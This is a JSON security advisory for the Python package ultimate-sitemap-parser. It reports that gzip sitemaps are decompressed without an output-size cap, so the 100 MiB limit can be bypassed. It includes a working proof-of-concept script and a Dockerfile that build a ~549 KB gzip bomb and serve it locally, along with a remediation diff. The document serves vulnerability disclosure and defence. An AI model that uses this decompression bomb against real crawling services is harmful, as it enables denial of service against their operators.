1 line
16 KiB
JSON
1 line
16 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-8823-qg2x-pv9f","published":"2026-06-19T21:15:34Z","modified":"2026-06-19T21:30:10.231525402Z","summary":"Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit","details":"## Gzip Decompression Bomb Bypasses Sitemap Size Limit\n\n### Summary\n\n`ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site.\n\n### Details\n\nThe library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`:\n\n```python\n__MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size\n```\n\nDespite the comment saying \"uncompressed\", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`:\n\n```python\nweb_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)\n```\n\nThe HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes:\n\n```python\ndata = self.__requests_response.content[: self.__max_response_data_length]\n```\n\nThe truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`:\n\n```python\nresponse_content = ungzipped_response_content(url=self._url, response=response)\n```\n\nInside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered:\n\n```python\nif __response_is_gzipped_data(url=url, response=response):\n data = gunzip(data)\n```\n\nThe `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard:\n\n```python\ngunzipped_data = gzip_lib.decompress(data)\n```\n\nNo post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed < limit → True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo\ncd /tmp/usp-repo\ngit checkout 182f4642f145230b68e7518e627883edd09168ca\n\n# Build and run via Docker (memory-limited to 512 MiB)\ndocker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/\ndocker run --rm --memory=512m usp-vuln-002\n```\n\n**Alternatively, run directly:**\n\n```bash\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\npython3 poc.py\n```\n\n**PoC script (`poc.py`) — abbreviated attack flow:**\n\n```python\nimport gzip, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom usp.tree import sitemap_tree_for_homepage\n\n# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed\nbomb_xml = (\n b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n b'<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">'\n b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'\n b'</urlset>'\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nclass BombHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n port = self.server.server_address[1]\n if self.path == \"/robots.txt\":\n body = f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\".encode()\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n elif self.path == \"/sitemap.xml.gz\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-gzip\")\n self.end_headers(); self.wfile.write(compressed_bomb)\n else:\n self.send_response(404); self.end_headers()\n def log_message(self, *a): pass\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\n\nsitemap_tree_for_homepage(f\"http://127.0.0.1:{port}/\", use_known_paths=False)\nserver.shutdown()\n```\n\n**Expected output:**\n\n```\n[INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB)\n[+] sitemap_tree_for_homepage() returned without exception\ncompressed=549,213 B < limit=104,857,600 B (passes gate)\ndecompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)\nEXCEEDS LIMIT: True\n[PASS] Decompression bomb bypassed the size limit.\n```\n\nThe parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.\n\n**Remediation:**\n\n```diff\n--- a/usp/helpers.py\n+++ b/usp/helpers.py\n+import io\n \n-def gunzip(data: bytes) -> bytes:\n+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:\n try:\n- gunzipped_data = gzip_lib.decompress(data)\n+ chunks, total = [], 0\n+ with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:\n+ while chunk := gz.read(1024 * 1024):\n+ total += len(chunk)\n+ if max_output_bytes is not None and total > max_output_bytes:\n+ raise GunzipException(\n+ f\"Gunzipped data exceeds maximum size of {max_output_bytes} bytes.\"\n+ )\n+ chunks.append(chunk)\n+ gunzipped_data = b\"\".join(chunks)\n\n-def ungzipped_response_content(url, response):\n+def ungzipped_response_content(url, response, max_uncompressed_size=None):\n- data = gunzip(data)\n+ data = gunzip(data, max_output_bytes=max_uncompressed_size)\n\n--- a/usp/fetch_parse.py\n- response_content = ungzipped_response_content(url=self._url, response=response)\n+ response_content = ungzipped_response_content(\n+ url=self._url, response=response,\n+ max_uncompressed_size=self.__MAX_SITEMAP_SIZE,\n+ )\n```\n\n### Impact\n\nAny application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.\n\nA ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.\n\nThis vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include:\n\n- SEO tooling, search engine crawlers, and indexing services using this library.\n- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.\n- Any automated pipeline that regularly crawls third-party sitemaps.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n gcc \\\n && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable library from the cloned repo (build context: parent dir)\nCOPY repo/ /app/repo/\n\n# Install the library from local source (version 1.8.0)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /app/poc.py\n\n# Run with unbuffered output so evidence appears immediately\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-002:\nGzip Decompression Bomb Bypasses Sitemap Size Limit\nGateNLP/ultimate-sitemap-parser 1.8.0\n\nVulnerability location: usp/helpers.py:239\n gunzipped_data = gzip_lib.decompress(data) # no max_length\n\nAttack path:\n 1. Attacker serves /robots.txt pointing to /sitemap.xml.gz\n 2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes\n 3. Library calls gunzip() with no output-size limit\n 4. Small compressed payload expands to >>100 MB in process memory\n\nExpected outcome: gunzip() output size > 100 MB with no exception raised.\n\"\"\"\n\nimport gzip\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# Mirrors usp/fetch_parse.py:64 — the library's declared maximum\nMAX_SITEMAP_SIZE = 100 * 1024 * 1024 # 100 MB\n\n# Bomb decompresses to this size (deliberately exceeds the limit)\nBOMB_UNCOMPRESSED_MB = 120\nBOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024\n\n\ndef get_rss_mb() -> float:\n \"\"\"Read current RSS from /proc/self/status in MB.\"\"\"\n try:\n with open(\"/proc/self/status\") as fh:\n for line in fh:\n if line.startswith(\"VmRSS:\"):\n return int(line.split()[1]) / 1024\n except OSError:\n pass\n return 0.0\n\n\n# ---------------------------------------------------------------------------\n# Step 1 — Build the gzip bomb\n# ---------------------------------------------------------------------------\nprint(\"[*] Building gzip bomb (compresslevel=1, fast) ...\")\nbomb_xml = (\n b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n b'<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">'\n b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'\n b'</urlset>'\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nprint(f\"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes ({len(bomb_xml)/1024/1024:.1f} MB)\")\nprint(f\"[+] Compressed bomb : {len(compressed_bomb):>12,} bytes ({len(compressed_bomb)/1024/1024:.3f} MB)\")\nprint(f\"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\nprint(f\"[+] compressed < limit : {len(compressed_bomb) < MAX_SITEMAP_SIZE} \"\n f\"(bomb passes the size gate)\")\nprint(f\"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE} \"\n f\"(decompression would exceed intent)\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 2 — Serve the bomb via a local HTTP server\n# ---------------------------------------------------------------------------\nclass BombHandler(BaseHTTPRequestHandler):\n def do_GET(self) -> None:\n port = self.server.server_address[1]\n if self.path == \"/robots.txt\":\n body = (\n f\"User-agent: *\\n\"\n f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\"\n ).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n elif self.path == \"/sitemap.xml.gz\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-gzip\")\n self.send_header(\"Content-Length\", str(len(compressed_bomb)))\n self.end_headers()\n self.wfile.write(compressed_bomb)\n\n else:\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, fmt: str, *args: object) -> None: # silence default log\n print(f\" [HTTP] {self.path} {fmt % args}\")\n\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\nprint(f\"[*] Bomb server listening on http://127.0.0.1:{port}/\")\n\n# ---------------------------------------------------------------------------\n# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size\n# ---------------------------------------------------------------------------\nimport usp.helpers as _helpers\n\n_orig_gunzip = _helpers.gunzip\n_intercepted: list[int] = []\n\n\ndef _patched_gunzip(data: bytes) -> bytes:\n result = _orig_gunzip(data)\n _intercepted.append(len(result))\n print(f\" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B \"\n f\"({len(result)/1024/1024:.1f} MB)\")\n return result\n\n\n_helpers.gunzip = _patched_gunzip\n\n# ---------------------------------------------------------------------------\n# Step 4 — Trigger the vulnerability\n# ---------------------------------------------------------------------------\nfrom usp.tree import sitemap_tree_for_homepage\n\nrss_before = get_rss_mb()\nprint(f\"[*] RSS before parse: {rss_before:.1f} MB\")\nprint(f\"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...\")\n\ntry:\n _tree = sitemap_tree_for_homepage(\n f\"http://127.0.0.1:{port}/\",\n use_known_paths=False,\n )\n parse_raised = False\n print(\"[+] sitemap_tree_for_homepage() returned without exception\")\nexcept Exception as exc:\n parse_raised = True\n print(f\"[!] sitemap_tree_for_homepage() raised: {exc}\")\n\nrss_after = get_rss_mb()\nprint(f\"[*] RSS after parse: {rss_after:.1f} MB (delta: +{rss_after - rss_before:.1f} MB)\")\n\nserver.shutdown()\n\n# ---------------------------------------------------------------------------\n# Step 5 — Evaluate and report\n# ---------------------------------------------------------------------------\nprint()\nprint(\"=\" * 60)\nprint(\"EXPLOIT RESULT SUMMARY\")\nprint(\"=\" * 60)\n\npassed = False\nreason = \"no gunzip intercept captured\"\n\nif _intercepted:\n max_decompressed = max(_intercepted)\n print(f\" gunzip() call(s) : {len(_intercepted)}\")\n print(f\" max decompressed : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)\")\n print(f\" library limit : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\n print(f\" EXCEEDS LIMIT : {max_decompressed > MAX_SITEMAP_SIZE}\")\n\n if max_decompressed > MAX_SITEMAP_SIZE:\n passed = True\n reason = (\n f\"gunzip() decompressed {max_decompressed:,} bytes \"\n f\"({max_decompressed/1024/1024:.1f} MB), exceeding the \"\n f\"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception\"\n )\n print()\n print(\" [PASS] Decompression bomb bypassed the size limit.\")\n print(f\" compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B \"\n f\"(passes gate)\")\n print(f\" decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B \"\n f\"(no post-decompress check)\")\n else:\n reason = (\n f\"gunzip() decompressed {max_decompressed:,} bytes but did not exceed \"\n f\"{MAX_SITEMAP_SIZE:,} bytes limit\"\n )\n print()\n print(\" [FAIL] Decompressed size did not exceed limit.\")\nelse:\n print(\" [FAIL] gunzip() was not intercepted — sitemap path not reached.\")\n\nprint(\"=\" * 60)\nsys.exit(0 if passed else 1)\n```","affected":[{"package":{"name":"ultimate-sitemap-parser","ecosystem":"PyPI","purl":"pkg:pypi/ultimate-sitemap-parser"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.1"}]}],"versions":["0.1","0.2","0.3","0.4","0.5","1.0.0","1.0.0rc1","1.1.0","1.1.1","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.6.0","1.7.0","1.7.0.post1","1.7.0.post2","1.8.0"],"database_specific":{"last_known_affected_version_range":"<= 1.8.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8823-qg2x-pv9f/GHSA-8823-qg2x-pv9f.json"}}],"references":[{"type":"WEB","url":"https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-8823-qg2x-pv9f"},{"type":"PACKAGE","url":"https://github.com/GateNLP/ultimate-sitemap-parser"}],"database_specific":{"cwe_ids":["CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-06-19T21:15:34Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} |